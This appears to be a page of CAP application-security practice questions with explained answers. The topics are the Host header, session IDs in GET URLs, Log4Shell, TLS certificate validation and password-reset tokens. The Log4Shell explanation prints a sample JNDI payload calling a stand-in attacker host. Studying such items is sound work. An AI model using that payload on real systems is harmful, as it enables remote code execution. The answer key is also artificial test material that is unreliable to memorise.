The SecOps Group CAP Practice Test Questions Answers

When multiple domain names (e.g.,www.ironman.com andwww.hulk.com ) resolve to the same IP address (e.g., 1.3.3.7), a web server hosting multiple applications on that IP must determine which application to serve. This is achieved using theHTTP "Host" header, which is part of the HTTP/1.1 protocol. The client (browser) includes the requested domain (e.g., Host: www.ironman.com) in the request, allowing the server to route the request to the appropriate virtual host or application configured for that domain. This is a standard practice in virtual hosting.

Option A ("The web server inspects the HTTP 'Host' header sent by the client"): Correct, as the Host header enables the server to distinguish between applications on the same IP.

Option B ("The web server inspects the cookies sent by the client"): Incorrect, as cookies are used for session management or personalization, not for identifying the requested application.

Option C ("The web server inspects the client's SSL certificate"): Incorrect, as SSL certificates are used for encryption and authentication, not for application routing (though they may include the domain name for validation).

Option D ("The web server uses a reverse DNS lookup of the client's IP address"): Incorrect, as reverse DNS lookup resolves an IP to a domain, which is irrelevant for the server determining the requested application.

The correct answer is A, aligning with the CAP syllabus under "Web Server Configuration" and "HTTP Protocol Security."References: SecOps Group CAP Documents - "HTTP Headers," "Virtual Hosting," and "OWASP Web Security Testing Guide" sections.

The request is a GET to /userProfile.php with a sessionId parameter matching the JSESSIONID cookie, and the response is a 200 OK with an HTML page. Let’s evaluate the statements:

Option A ("The application uses an insecure channel (non-TLS)"): The request uses http:// (inferred from the absence of https:// in the Host and GET line), indicating a non-TLS channel. However, the question asks about the "application" (likely the server-side behavior), and the response does not explicitly confirm the channel used for the response. Modern browsers might enforce TLS, but the request suggests an insecure channel. This could be true, but it depends on the server’s configuration, making it less certain without further context.

Option B ("The application uses an insecure HTTP method (GET) to send sensitive information"): Correct. The sessionId parameter in the URL (/userProfile.php?sessionId=7576572ce164646de967c759643d53031) is sensitive data, as it could be used to hijack the user’s session. Using GET exposes this data in browser history, server logs, and referral headers, which is insecure. Best practice is to use POST for sensitive data to avoid such exposure. The JSESSIONID cookie is marked HttpOnly, mitigating some risks, but the sessionId in the URL remains a vulnerability.

Option C ("The application is vulnerable to Cross-Site Scripting attacks"): The response includes an HTML page with no visible user input or script execution. There’s no evidence of unsanitized input or script injection (e.g., no dynamic content like <script> tags with user data). The X-Xss-Protection: 1; mode=block header (though not shown) would mitigate XSS if present, but the response alone does not indicate vulnerability, so this is incorrect.

Option D ("All of the above"): Incorrect, as only B is definitively true; A is uncertain without confirming the response channel, and C lacks evidence.

The correct answer is B, aligning with the CAP syllabus under "HTTP Methods Security" and "Session Management."References: SecOps Group CAP Documents - "Insecure HTTP Methods," "Sensitive Data Exposure," and "OWASP Secure Coding Practices" sections.

The Log4j vulnerability, identified asCVE-2021-44228(commonly known as Log4Shell), is a critical security flaw in the Apache Log4j library, a widely used logging framework in Java applications. This vulnerability allows remote code execution (RCE) when an attacker crafts a malicious input (e.g., ${jndi:ldap://malicious.com/a}) that is logged by a vulnerable Log4j instance. The exploit leveragesJNDI (Java Naming and Directory Interface) Injection, where the JNDI lookup mechanism is abused to load remote code from an attacker-controlled server. All options (A, B, and C) list "JNDI Injection," which is correct, but since B is marked as the selected answer in the image, it is taken as the intended choice. This redundancy in options suggests a possible error in the question design, but the vulnerability is unequivocally JNDI Injection. Option D ("None of the above") is incorrect as JNDI Injection is the exploited vulnerability. This topic is critical in the CAP syllabus under injection attacks and RCE prevention.References: SecOps Group CAP Documents - "Injection Vulnerabilities," "Remote Code Execution," and "OWASP Top 10 (A03:2021 - Injection)" sections.

TLS (Transport Layer Security) certificates are validated by browsers to ensure secure communication. Browsers maintain a trusted store ofpublic keysfrom known Certifying Authorities (CAs), which are used to verify the digital signature of a TLS certificate presented by a server. This process involves checking the certificate’s signature against the CA’s public key to confirm its authenticity and validity. If the signature matches and other criteria (e.g., expiration, revocation) are met, the certificate is deemed valid.

Option A ("The browser contains the private key..."): Incorrect, as browsers do not contain private keys of CAs; private keys are kept secret by the CAs themselves.

Option B ("The browser contains the public key..."): Correct, as browsers use CA publickeys to validate certificates, enabling differentiation between valid and invalid TLS certificates.

Option C ("The browser contains both the public and private key..."): Incorrect, as browsers only store public keys, not private keys, for security reasons.

Option D ("The browser does not have any mechanism..."): Incorrect, as browsers have robust mechanisms (via CA public keys) to validate TLS certificates.

The correct answer is B, aligning with the CAP syllabus under "Secure Communication" and "TLS Configuration."References: SecOps Group CAP Documents - "TLS/SSL Security," "Certificate Validation," and "OWASP Cryptographic Practices" sections.

The password reset mechanism now includes a one-time random token alongside the userId in the reset link: https://example.com/reset_password?userId=5298 &token=70e7803e-bf53-45e1-8a3f-fb15da7de3a0. Let’s evaluate the effectiveness of this mechanism:

Analysis: The inclusion of a one-time random token (e.g., 70e7803e-bf53-45e1-8a3f-fb15da7de3a0) is a best practice for secure password reset mechanisms. This token should be unique, unpredictable, and tied to the specific user’s reset request (e.g., stored in the database with an expiration time). When the user clicks the link, the application should verify that the token matches the one associated with the userId and that it hasn’t been used or expired.

Preventing Arbitrary Resets: Without the token, an attacker could manipulate the userId (e.g., to 5299) to reset another user’s password (as seen in Question 45). However, with the token, the attacker would need to guess the correct token for the targeted userId, which is computationally infeasible if the token is sufficiently random (e.g., a UUID or cryptographically secure random string) and properly validated. This prevents unauthorized password resets.

Additional Considerations: The link uses https://, ensuring a secure channel (unlike Question 45). The message "If the email exists..." prevents username enumeration, as discussed previously.

Option A ("True"): Correct, as the one-time random token, if implemented correctly (e.g., validated server-side, single-use, time-limited), prevents an attacker from resetting arbitrary users’ passwords.

Option B ("False"): Incorrect, as the mechanism is secure with the token.

The correct answer is A, aligning with the CAP syllabus under "Secure Password Reset" and "Token-Based Authentication."References: SecOps Group CAP Documents - "Password Reset Security," "Token Generation Best Practices," and "OWASP Forgot Password Cheat Sheet" sections.